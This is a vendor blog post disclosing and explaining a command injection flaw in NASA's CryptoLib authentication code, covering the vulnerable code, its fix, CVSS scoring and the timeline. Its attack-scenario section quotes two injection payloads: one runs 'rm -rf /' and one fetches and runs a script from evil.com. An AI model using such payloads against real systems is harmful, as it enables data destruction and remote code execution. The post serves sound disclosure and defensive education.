Command Injection in NASA CryptoLib (CVE-2025-59534)

A critical vulnerability in CryptoLib, the software protecting communications between NASA spacecraft and Earth, went undetected for three years in authentication code meant to secure the system. AISLE surfaced the critical error and helped ship a fix in four days.

Space missions rely on trustworthy cryptography. CryptoLib implements the CCSDS Space Data Link Security protocol used across NASA missions and industry via cFS. When that layer fails, spacecraft commands, telemetry, and science data are at stake.

AISLE's autonomous analyzer uncovered a command injection vulnerability in CryptoLib's authentication path, now tracked as CVE-2025-59534 with a CVSS v3.1 score of 7.3 (High). The bug persisted for three years, it affected releases through v1.4.1, and it was fixed within four days in v1.4.2 after coordinated disclosure (GHSA-jw5c-58hr-m3v3).

The surprise is where and how it happened. The vulnerable function, initialize_kerberos_keytab_file_login(), built a kinit command string from configuration values and executed it via system(). Shell metacharacters in username or keytab_file_path turned configuration into code, a design choice that made authentication code an execution vector.

This post explains the impact, shows concrete exploits, and details the fix that replaces system() with fork() and execlp(), plus input validation and tests.

Key Facts:

CVE-2025-59534: Command injection (CWE-78) in authentication code
CVSS Score: 7.3 (High): Significant risk to mission-critical systems
Hidden for 3 years: September 2022 to September 2025
Affects: NASA CryptoLib / NASA cFS: Used across NASA missions and space industry
Fixed in 4 days: Rapid response from discovery to patch
Discovered by AISLE: Autonomous security analysis

The Vulnerability: When Authentication Code Becomes an Attack Vector

The vulnerability lives in the initialize_kerberos_keytab_file_login() function within CryptoLib's KMC (Key Management Center) integration code. This function handles Kerberos authentication using keytab files, a common enterprise security mechanism. The problem arose from a well-known dangerous pattern: directly interpolating user-controlled input into a shell command.

Here's the vulnerable pattern:

C
1// Vulnerable pattern (pre-v1.4.2): constructing a shell command with untrusted input
2char kinit_shell_command[256];
3snprintf(kinit_shell_command, sizeof(kinit_shell_command), "kinit -kt %s %s",
4         cam_config->keytab_file_path, cam_config->username);
5system(kinit_shell_command);  // Invokes a shell; metacharacters are executed

The code takes two configuration values (keytab_file_path and username), formats them into a shell command string, and executes that string via the system() function. No validation. No sanitization. No protection against shell metacharacters.

The entry point for these values is in Crypto_Config_Cam() within src/core/crypto_config.c:

C
1int32_t Crypto_Config_Cam(uint8_t cam_enabled, char *cookie_file_path,
2                          char *keytab_file_path, uint8_t login_method,
3                          char *access_manager_uri, char *username, char *cam_home)
4{
5    // ... setup code ...
6
7    status = crypto_deep_copy_string(keytab_file_path, &cam_config->keytab_file_path);
8    status = crypto_deep_copy_string(username, &cam_config->username);
9
10    // ... no validation occurs ...
11}

These values flow directly from the configuration API into the vulnerable function, creating a complete attack chain.

Attack Scenarios: When Authentication Becomes a Weapon

The vulnerability transforms what should be routine authentication configuration into a weapon. An attacker who can control either the username or keytab file path configuration values (perhaps through compromised operator credentials or social engineering) can inject arbitrary commands that execute with full system privileges. What makes this particularly dangerous in spacecraft operations is that authentication configuration often happens during mission setup or system maintenance, periods when security vigilance might be focused elsewhere.

The GitHub security advisory demonstrates two clear attack scenarios:

Via malicious username:

C
1Crypto_Config_Cam(
2    CAM_ENABLED_TRUE,
3    "/path/to/cookie",
4    "/etc/krb5.keytab",
5    CAM_LOGIN_KEYTAB_FILE,
6    "https://example.com",
7    "user; rm -rf /; echo pwned",  // Malicious username
8    "/home/cam"
9);

This would execute: kinit -kt /etc/krb5.keytab user; rm -rf /; echo pwned (the kinit invocation would be interpreted by the shell)

Via malicious keytab path:

C
1Crypto_Config_Cam(
2    CAM_ENABLED_TRUE,
3    "/path/to/cookie",
4    "/etc/krb5.keytab; wget http://evil.com/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh",
5    CAM_LOGIN_KEYTAB_FILE,
6    "https://example.com",
7    "testuser",
8    "/home/cam"
9);

This would download and execute a remote shell script before proceeding with the legitimate authentication.

A Three-Year Journey: From Introduction to Discovery

Using git history analysis, we traced the vulnerable code back to its introduction. The function first appeared in commit a7c88dc on September 15, 2022, authored by Ibraheem Saleh from NASA's Jet Propulsion Laboratory. The commit message reads: "AMMOSGH-115: Added implementation for Kerberos and Keytab File based login methods for CAM support."

This was legitimate feature development by a NASA JPL engineer, adding enterprise authentication capabilities to make spacecraft communications more secure. The vulnerability wasn't the result of malicious intent or obvious negligence; it emerged from a straightforward implementation choice that didn't account for input validation requirements. Here's what makes this particularly striking: the code review process, automated testing, and subsequent maintenance over three years all failed to catch the issue. Multiple engineers likely reviewed this code. It passed all existing tests. It was deployed to protect actual space missions.

The reason this flaw survived reviews and routine testing is that the vulnerability only becomes apparent when analyzing the entire data path end-to-end. The unsafe command is assembled only after inputs pass through configuration APIs, deep-copy helpers, and authentication logic spread across several files. Most static analysis tools reason locally and pattern-match on individual functions; they rarely follow complex multi-hop dataflow through a system like CryptoLib. AISLE’s analyzer, by contrast, models these interactions holistically, which is why it surfaced a vulnerability that escaped detection for three years.

The vulnerable code persisted through 286 lines of changes to the file, survived a major refactoring that moved the file to a new directory structure in April 2023, and remained present in versions v1.4.0, v1.4.1, and every release in between. For over 1,100 days, authentication code meant to secure spacecraft communications contained a command injection vulnerability.

The Fix: Replacing `system()` with safe execution

When AISLE reported the vulnerability on September 19, 2025, CryptoLib maintainer Donovan Ice responded within hours. The fix, committed the same day, demonstrates the correct approach to executing external commands securely.

The solution introduced a new run_kinit() function that replaces the dangerous system() call with fork() and execlp():

C
1int32_t run_kinit(const char *keytab_path, const char *username)
2{
3    pid_t pid = fork();
4    if (pid == 0)
5    {
6        // Child process
7        execlp("kinit", "kinit", "-kt", keytab_path, username, (char *)NULL);
8        exit(CAM_KEYTAB_FILE_KINIT_FAILURE);
9    }
10    else if (pid < 0)
11    {
12        return CRYPTO_LIB_ERROR; // fork failed
13    }
14    else
15    {
16        int status;
17        waitpid(pid, &status, 0);
18        return status;
19    }
20}

The key difference: execlp() does not invoke a shell. It directly executes the kinit binary with separated arguments. Shell metacharacters in the keytab_path or username are treated as literal strings, not as commands to execute. Even if an attacker manages to inject "; rm -rf /" into the username field, it would be passed to kinit as a literal username string, which kinit would reject as invalid.

The fix also added input validation in src/core/crypto_config.c to check paths and usernames for suspicious characters before storing them in the configuration, providing defense in depth. Validation is conservative: only alphanumeric characters plus . _ - are allowed for usernames, and the same plus / for paths:

C
1// Username: letters, digits, '.', '_', '-'
2int32_t Crypto_is_safe_username(const char *s) {
3    for (const unsigned char *p = (const unsigned char *)s; *p; ++p) {
4        if (!(isalnum(*p) || *p == '.' || *p == '_' || *p == '-'))
5            return CRYPTO_LIB_ERROR;
6    }
7    return CRYPTO_LIB_SUCCESS;
8}
9
10// Path: same as above plus '/' for directories
11int32_t Crypto_is_safe_path(const char *s) {
12    for (const unsigned char *p = (const unsigned char *)s; *p; ++p) {
13        if (!(isalnum(*p) || *p == '.' || *p == '_' || *p == '-' || *p == '/'))
14            return CRYPTO_LIB_ERROR;
15    }
16    return CRYPTO_LIB_SUCCESS;
17}

This blocks shell metacharacters such as ;, &, |, $, `, <, and >.

Additionally, Donovan added unit tests in /test/kmc/ut_kmc_cam.c that specifically test the validation logic using the attack examples from the security report.

Impact and CVSS Analysis

The vulnerability received a CVSS v3.1 score of 7.3 (High) with the vector string: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H.

Breaking this down:

Attack Vector: Local (AV:L): The attacker needs local access to the system, meaning they must either have an account or have already compromised the machine through another vulnerability. This significantly reduces the attack surface compared to a remotely exploitable flaw.
Attack Complexity: Low (AC:L): Once the attacker has the necessary access level, exploiting the vulnerability is straightforward. No race conditions, no cryptographic bypasses, just supply malicious configuration values.
Privileges Required: Low (PR:L): The attacker needs sufficient privileges to configure CryptoLib's CAM settings. In many spacecraft systems, this might be limited to specific operator accounts, but the threshold is still relatively low.
User Interaction: Required (UI:R): The vulnerability isn't triggered automatically. Someone must configure the CAM authentication with the malicious values and then the system must attempt to use that authentication. This limits the attack window.
Scope: Unchanged (S:U): The vulnerability affects only the CryptoLib process itself, not other components beyond its security boundary (though privilege escalation within that context is possible).
Confidentiality, Integrity, Availability: All High (C:H/I:H/A:H): Once exploited, the attacker can execute arbitrary commands with the privileges of the CryptoLib process. They can read sensitive data (cryptographic keys, spacecraft telemetry), modify system state or mission data, and disrupt operations.

What this means for spacecraft operations: If an attacker can influence CryptoLib's configuration (through compromised operator credentials, a configuration file vulnerability, or social engineering), they gain the ability to execute arbitrary code on systems that control communications with spacecraft worth hundreds of millions of dollars. In practical terms, this could enable:

Access to classified mission data: Reading cryptographic keys that protect sensitive spacecraft telemetry and commands
Mission interference: Injecting false telemetry data or disrupting communications during critical mission phases
Command and control compromise: Potentially affecting the systems that send commands to spacecraft and receive scientific data
Ground station disruption: Compromising the ground infrastructure that connects mission controllers to vehicles in orbit

The "High" CVSS rating is appropriate given the sensitivity of the systems CryptoLib protects. While the local attack vector and user interaction requirements provide some mitigation, the stakes in spacecraft operations make even constrained vulnerabilities serious threats. A compromised ground station during a Mars landing or a satellite deployment could have consequences far beyond the software itself.

Affected Versions and Patching

Vulnerable Versions: All versions of CryptoLib up to and including v1.4.1

Patched Version: v1.4.2 and later (release tag)

The fix was released on September 22, 2025, and the public advisory published on September 23, 2025, following coordinated disclosure practices. Organizations using CryptoLib should upgrade to v1.4.2 immediately. For a detailed view of changes, see the diff between versions: v1.4.1...v1.4.2.

For systems that cannot immediately upgrade, temporary mitigations include:

Restrict access to CryptoLib configuration to only highly trusted administrators
Implement strict input validation at the configuration ingestion layer before values reach CryptoLib APIs
Monitor for suspicious process execution patterns (unusual child processes of CryptoLib)
Use mandatory access control mechanisms (SELinux, AppArmor) to limit what commands can be executed from the CryptoLib process context

However, these are only stopgaps. The proper solution is upgrading to the patched version.

The Broader Context: Protecting Missions from Earth to Mars

CryptoLib isn't obscure utility code buried in a forgotten repository. It's the security layer for spacecraft-to-ground communications across the space industry, implementing the CCSDS Space Data Link Security Protocol standard used to protect everything from Earth observation satellites to Mars rovers. NASA's core Flight System (cFS), which uses CryptoLib for security, powers numerous active missions and has been adopted by commercial space companies and international space agencies worldwide.

Consider what's at stake: when a Mars rover sends back images from Jezero Crater, when Earth observation satellites transmit climate data, when crewed spacecraft communicate with ground controllers, all of these communications rely on security libraries like CryptoLib to ensure the data is authentic and hasn't been tampered with. This is security in orbit, protecting the data pipeline between space and Earth. A vulnerability in this software poses a threat to billions of dollars in space infrastructure and the scientific missions they enable.

The irony deepens when you realize this command injection vulnerability existed in authentication code, the very mechanism designed to prove identity and prevent unauthorized access. For three years, the security system meant to protect spacecraft-to-ground communications contained a vulnerability that could undermine that protection. The flaw was present during the deployment and operation of multiple missions relying on CryptoLib. That no exploitation has been detected speaks more to the limited attack surface (local access required, specific configuration needed) than to the vulnerability's insignificance.

Timeline: Three Years Hidden, Four Days to Fix

September 15, 2022: Vulnerable code introduced in commit a7c88dc by Ibraheem Saleh (NASA JPL), adding Kerberos authentication support for CAM integration. The code would go on to protect spacecraft communications for the next three years while harboring a critical flaw.

September 19, 2025: Luigino Camastra from AISLE Research reported the vulnerability via GitHub security advisory GHSA-jw5c-58hr-m3v3. The report included detailed technical analysis, proof-of-concept attack examples, and clear documentation of the vulnerable code paths.

Later that day (September 19, 2025): Donovan Ice, CryptoLib maintainer, responded with a proposed fix in a private fork, replacing system() with execlp() and adding input validation. The turnaround time from report to proposed fix was measured in hours, not days, a stark contrast to the three years the vulnerability had existed.

September 22, 2025: After review by Luigino Camastra confirming the fix addressed the vulnerability, the patch was merged and version v1.4.2 released.

September 23, 2025: Public disclosure via GitHub security advisory and CVE assignment (CVE-2025-59534).

The entire remediation process took four days, from initial report to public disclosure. This rapid response deserves recognition, especially for software protecting active space missions. The CryptoLib maintainers treated the report seriously, developed a proper fix quickly, and coordinated the public disclosure professionally. This is exemplary open source security maintenance for critical infrastructure.

AISLE's Discovery: Finding What Three Years of Reviews Missed

AISLE's analyzer operates autonomously, building a comprehensive stack model of how codebases function, identifying potential vulnerabilities through sophisticated static and dynamic analysis techniques. In CryptoLib's case, the analyzer examined data flow from configuration APIs through to command execution, identified the lack of sanitization between user input and shell invocation, and flagged the pattern as a command injection risk, all in code that had been reviewed, tested, and deployed to protect spacecraft communications for three years.

Luigino Camastra selected CryptoLib as an analysis target precisely because of its critical role in space infrastructure. When software protects communications with spacecraft worth hundreds of millions of dollars, the stakes justify intensive scrutiny. The analyzer then ran without manual intervention, producing the detailed vulnerability report that was submitted to the maintainers.

This discovery demonstrates a crucial point: even well-maintained NASA software, written by experienced engineers and used in high-stakes space operations, can harbor vulnerabilities that escape traditional review processes. Automated security analysis for complex, domain-specific software has become increasingly essential for protecting critical infrastructure, whether that infrastructure is on Earth or communicating with vehicles millions of miles away.

What This Means for Critical Infrastructure Security

This case illustrates several important points about software security in critical systems:

Even security code can be insecure. The most striking aspect of this vulnerability is where it lived: in authentication code specifically designed to protect the system. The irony is profound. Code meant to verify identity and prevent unauthorized access instead created a pathway for arbitrary command execution. Three years is a long time for such a fundamental flaw to exist undetected in software protecting spacecraft communications worth hundreds of millions of dollars. Traditional security practices (code review, testing, audits) all had opportunities to catch this and didn't.

Automated analysis tools are becoming essential. Human review remains valuable, but autonomous analyzers can systematically examine entire codebases, flag suspicious patterns, and operate continuously as code evolves. AISLE's analyzer found this vulnerability not through luck but through systematic analysis of data flow and execution patterns.

Fast response times matter. The CryptoLib team's rapid fix demonstrates the value of responsive maintainership. In an era where coordinated vulnerability disclosure sometimes drags on for months, a four-day turnaround is exceptional.

Even trusted, well-maintained projects need continuous security scrutiny. CryptoLib is NASA software, maintained by experienced engineers, used in high-stakes environments. It still contained a three-year-old command injection vulnerability. No project is immune.

The asymmetry between attackers and defenders is real. Finding and exploiting a single vulnerability can compromise a system that represents years of careful engineering. Tools like AISLE's analyzer help shift that balance by finding vulnerabilities before attackers do, allowing them to be fixed before they're ever exploited.

Conclusion: Hardening Space Security, One Vulnerability at a Time

The discovery and rapid remediation of CVE-2025-59534 tells two stories. The first is a success: autonomous security analysis found a three-year-old vulnerability in authentication code protecting spacecraft communications, it was responsibly disclosed, fixed within days, and properly publicized. The second is a sobering reminder: even software securing missions worth hundreds of millions of dollars, developed by NASA engineers, and used to protect communications with spacecraft millions of miles from Earth, can harbor critical flaws that persist for years undetected.

The irony is inescapable. Security code designed to authenticate and protect became a potential attack vector. It's a stark illustration that in critical infrastructure, especially space systems where the stakes are measured in mission success or failure, no code is beyond scrutiny.

We commend the CryptoLib maintainers, particularly Donovan Ice, for their professional and remarkably fast response to this disclosure. Their commitment to security ensures that CryptoLib continues to reliably protect spacecraft communications across NASA missions and the broader space industry. We also recognize Ibraheem Saleh and the entire CryptoLib team at NASA for their ongoing work maintaining this essential piece of space infrastructure.

AISLE's mission is to secure the world's critical software infrastructure through autonomous security analysis. As humanity's presence in space expands (from Earth orbit to the Moon to Mars), the software protecting these missions becomes increasingly critical. Discoveries like this demonstrate the value of proactive, systematic security research applied to the code that protects our civilization's reach beyond Earth.

Learn More

Interested in AISLE's autonomous security platform? Visit aisle.com or reach out to [email protected].

For technical details about this vulnerability: